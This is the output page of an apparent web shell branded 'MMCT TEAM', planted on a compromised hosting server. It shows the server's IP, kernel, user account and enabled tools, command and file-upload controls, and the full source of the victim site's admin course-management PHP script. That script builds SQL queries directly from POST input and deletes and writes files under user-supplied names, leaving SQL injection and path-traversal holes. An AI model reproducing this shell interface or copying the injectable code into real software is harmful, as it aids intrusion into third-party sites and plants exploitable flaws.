MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/ezitransport/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/ezitransport/admin/add_course.php
<?php

include("includes/config.php");

if(isset($_POST['add_course'])){
    $course = $_POST['course'];	
    $description = $_POST['description'];

    $photo = $_FILES['photo']['name'];
    $pdf = $_FILES['pdf']['name']; 

    $allowed_image_extensions = array('gif','png','jpg','jpeg','webp','WEBP');
    $allowed_pdf_extensions = array('pdf'); 

    $photo_filename = $_FILES['photo']['name'];
    $photo_file_extension = pathinfo($photo_filename, PATHINFO_EXTENSION);

    $pdf_filename = $_FILES['pdf']['name'];
    $pdf_file_extension = pathinfo($pdf_filename, PATHINFO_EXTENSION);

  
    if(!in_array($photo_file_extension, $allowed_image_extensions)){
        $_SESSION['status'] = "The image file is not allowed. Please upload an image.";
        header('Location: course.php');
        exit;
    } elseif (!in_array($pdf_file_extension, $allowed_pdf_extensions)) {
        $_SESSION['status'] = "The PDF file is not allowed. Please upload a PDF file.";
        header('Location: course.php');
        exit;
    } else {
        // Inserting data into the database
         $query = "INSERT INTO `courses` (`course`,`description`,`photo`,`pdf`) VALUES ('$course','$description', '$photo' ,'$pdf')";
    $query_run = mysqli_query($conn, $query);
        // $query = "INSERT INTO department (heading, photo, pdf) VALUES ('$heading','$photo', '$pdf')";
        // $query_run = mysqli_query($conn, $query);

        // If the query is successful, move uploaded files to the desired location
        if($query_run){
            move_uploaded_file($_FILES["photo"]["tmp_name"], "course/".$_FILES["photo"]["name"]);
            move_uploaded_file($_FILES["pdf"]["tmp_name"], "pdf/".$_FILES["pdf"]["name"]); // Move PDF to a directory
            $_SESSION['status'] = "Data Uploaded Successfully";
            header('Location: view-course.php');
            exit;
        } else {
            $_SESSION['status'] = "Data Not Uploaded Successfully";
            header('Location: course.php');
            exit;
        }
    }
}


    // $link = $_POST['link'];

    // $photo = $_FILES['photo']['name'];

    // $course = mysqli_real_escape_string($conn, $course);
    // $description = mysqli_real_escape_string($conn, $description);
    // $link = mysqli_real_escape_string($conn, $link);

    // $query = "INSERT INTO `courses` (`course`,`description` ,`link`, `photo`) VALUES ('$course','$description','$link', '$photo')";
    // $query_run = mysqli_query($conn, $query);

    // if($query_run){
    //     move_uploaded_file($_FILES["photo"]["tmp_name"], "course/".$_FILES["photo"]["name"]);
    
    //     $_SESSION['status'] = "Data Uploaded Successfully";
    //     header('Location: view-course.php');
    //     exit;
    // } else {
    //     $_SESSION['status'] = "Data Not Uploaded Successfully";
    //     header('Location: course.php');
    //     exit;
    // }
// }



// update 
if(isset($_POST['update_course'])){
    $id = $_POST['id'];
    $course = $_POST['course'];	
    $description = $_POST['description'];

    $old_photo = $_POST['image_old'];
    $update_photo_filename = $_FILES["photo"]["name"] ? $_FILES["photo"]["name"] : $old_photo;

    $old_pdf = $_POST['pdf_old'];
    $update_pdf_filename = $_FILES["pdf"]["name"] ? $_FILES["pdf"]["name"] : $old_pdf;

    $allowed_image_extensions = array('gif','png','jpg','jpeg','webp','WEBP');
    $allowed_pdf_extensions = array('pdf');

    $photo_file_extension = pathinfo($update_photo_filename, PATHINFO_EXTENSION);
    $pdf_file_extension = pathinfo($update_pdf_filename, PATHINFO_EXTENSION);

    // Check if the uploaded file extensions are allowed
    if(!in_array($photo_file_extension, $allowed_image_extensions)){
        $_SESSION['status'] = "The image file is not allowed. Please upload an image.";
        header("Location: edit-course.php?id=$id"); // Redirect to the edit page with the department_id
        exit;
    } elseif (!in_array($pdf_file_extension, $allowed_pdf_extensions)) {
        $_SESSION['status'] = "The PDF file is not allowed. Please upload a PDF file.";
        header("Location: edit-course.php?id=$id"); // Redirect to the edit page with the department_id
        exit;
    }

    // Update the department information in the database
    $query = "UPDATE courses SET course='$course', description='$description', photo='$update_photo_filename' , pdf='$update_pdf_filename' WHERE id ='$id' ";
        // $query_run = mysqli_query($conn, $query);
    // $query = "UPDATE department SET heading='$heading', photo='$update_photo_filename', pdf='$update_pdf_filename' WHERE id ='$id' ";

    $query_run = mysqli_query($conn, $query);

    if($query_run){
        // If new photo is uploaded, move it to the desired directory and delete the old one
        if($_FILES["photo"]["name"] !='' && $_FILES["photo"]["name"] != $old_photo){
            move_uploaded_file($_FILES["photo"]["tmp_name"], "course/".$_FILES["photo"]["name"]);
            unlink("course/". $old_photo);    
        }

        // If new PDF is uploaded, move it to the desired directory and delete the old one
        if($_FILES["pdf"]["name"] !='' && $_FILES["pdf"]["name"] != $old_pdf){
            move_uploaded_file($_FILES["pdf"]["tmp_name"], "pdf/".$_FILES["pdf"]["name"]);
            unlink("pdf/". $old_pdf);    
        }

        $_SESSION['status'] = "Image and PDF Updated Successfully";
        header('Location: view-course.php');
    } else {
        $_SESSION['status'] = "Image and PDF Not Updated Successfully";
        header('Location: view-course.php');
    }
}





    // $link = $_POST['link'];
//     $old_photo = $_POST['image_old'];

//     $course = mysqli_real_escape_string($conn, $course);
//     $description = mysqli_real_escape_string($conn, $description);
//     $link = mysqli_real_escape_string($conn, $link);
//     $old_photo = mysqli_real_escape_string($conn, $old_photo);

//     $update_photo_filename = $_FILES["photo"]["name"] ? $_FILES["photo"]["name"] : $old_photo;
//     $allowed_image_extensions = array('gif','png','jpg','jpeg','webp','WEBP');
//     $photo_file_extension = pathinfo($update_photo_filename, PATHINFO_EXTENSION);

//     if(!in_array($photo_file_extension, $allowed_image_extensions)){
//         $_SESSION['status'] = "The image file is not allowed. Please upload an image.";
//         header("Location: edit-course.php?id=$id");
//         exit;
//     }
    

//     $query = "UPDATE courses SET course='$course', description='$description', link='$link', photo='$update_photo_filename' WHERE id ='$id' ";
//     $query_run = mysqli_query($conn, $query);

//     if($query_run){
//         if($_FILES["photo"]["name"] !='' && $_FILES["photo"]["name"] != $old_photo){
//             move_uploaded_file($_FILES["photo"]["tmp_name"], "course/".$_FILES["photo"]["name"]);
//             unlink("course/". $old_photo);    
//         }
//         $_SESSION['status'] = "Data Updated Successfully";
//         header('Location: view-course.php');
//     } else {
//         $_SESSION['status'] = "Data Not Updated Successfully";
//         header('Location: view-course.php');
//     }
// }

// delete

if(isset($_POST['delete_course'])){
    $id = $_POST['delete_id'];
    $photo = $_POST['del_course'];
    $pdf = $_POST['del_pdf'];

    $query = "DELETE FROM courses WHERE id = '$id'";
    $query_run = mysqli_query($conn, $query);

    if($query_run){
        if(unlink("course/".$photo) && unlink("pdf/".$pdf)) {
            $_SESSION['status'] = "Deleted Successfully";
            header('Location: view-course.php');
        } else {
            $_SESSION['status'] = "Error deleting files";
            header('Location: view-course.php');
        }
    } else {
        $_SESSION['status'] = "Not Deleted";
        header('Location: view-course.php');
    }
}

//     if($query_run){
//         if(unlink("course/".$photo)) {
//             $_SESSION['status'] = "Deleted Successfully";
//             header('Location: view-course.php');
//         } else {
//             $_SESSION['status'] = "Error deleting files";
//             header('Location: view-course.php');
//         }
//     } else {
//         $_SESSION['status'] = "Not Deleted Successfully";
//         header('Location: view-course.php');
//     }
// }
?>

MMCT - 2023